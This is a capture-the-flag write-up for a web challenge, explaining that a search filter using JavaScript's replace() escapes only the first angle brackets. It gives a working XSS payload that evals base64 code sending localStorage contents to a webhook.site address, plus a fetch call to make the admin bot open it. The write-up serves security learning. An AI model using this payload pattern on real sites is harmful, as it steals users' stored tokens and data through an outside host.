javascript moment

Posted on Apr 11, 2024

This challenge was available at http://6b.vc:9004. Its source was available: javascriptMoment.tar.gz

It is very similar to babyXSS. The XSS vulnerability is the same, but:

function updateSearch() {
    let searchTerm = searchInput.value.trim();
    if (searchTerm) {
        searchTerm = searchTerm.replace("<", "&lt;").replace(">", "&gt;");
        searching.innerHTML = '<div class="text-center text-gray-500">Searching for "' + searchTerm + '"...</div>';
        filterComments(searchTerm);
        window.history.pushState({}, '', '?search=' + encodeURIComponent(searchTerm));
    } else {
        searching.innerHTML = '';
        displayComments(comments);
        window.history.pushState({}, '', window.location.pathname);
    }
}

In JavaScript, the String.prototype.replace function only replaces the first occurence when receiving a string as the pattern (you would have to use a regex with the global flag, such as /[<>]/g). That means we can bypass the replace by adding <> at the start of our payload.

const code = `location.href = "https://webhook.site/40a6771d-b79d-4ea5-bbb3-df68cdcf56b7?"+encodeURI(btoa(localStorage.flag))`
const payload = `<><img src=x onerror="eval(atob('${btoa(code)}'))">`
console.log(`http://6b.vc:9004/?search=${encodeURIComponent(payload)}`)

Solution

The following link will make the bot send us the flag.

http://localhost:9004/?search=%3C%3E%3Cimg%20src%3Dx%20onerror%3D%22eval(atob('bG9jYXRpb24uaHJlZiA9ICJodHRwczovL3dlYmhvb2suc2l0ZS80MGE2NzcxZC1iNzlkLTRlYTUtYmJiMy1kZjY4Y2RjZjU2Yjc%2FIitlbmNvZGVVUkkoYnRvYShsb2NhbFN0b3JhZ2UuZmxhZykp'))%22%3E

We can trigger the /report endpoint by either using curl or by using the following javascript code in the browser’s console.

fetch("/report?url="+encodeURIComponent("http://localhost:9004/?search=%3C%3E%3Cimg%20src%3Dx%20onerror%3D%22eval(atob('bG9jYXRpb24uaHJlZiA9ICJodHRwczovL3dlYmhvb2suc2l0ZS80MGE2NzcxZC1iNzlkLTRlYTUtYmJiMy1kZjY4Y2RjZjU2Yjc%2FIitlbmNvZGVVUkkoYnRvYShsb2NhbFN0b3JhZ2UuZmxhZykp'))%22%3E"))

We receive the flag on the webhook:

flag{replace!=replaceAll}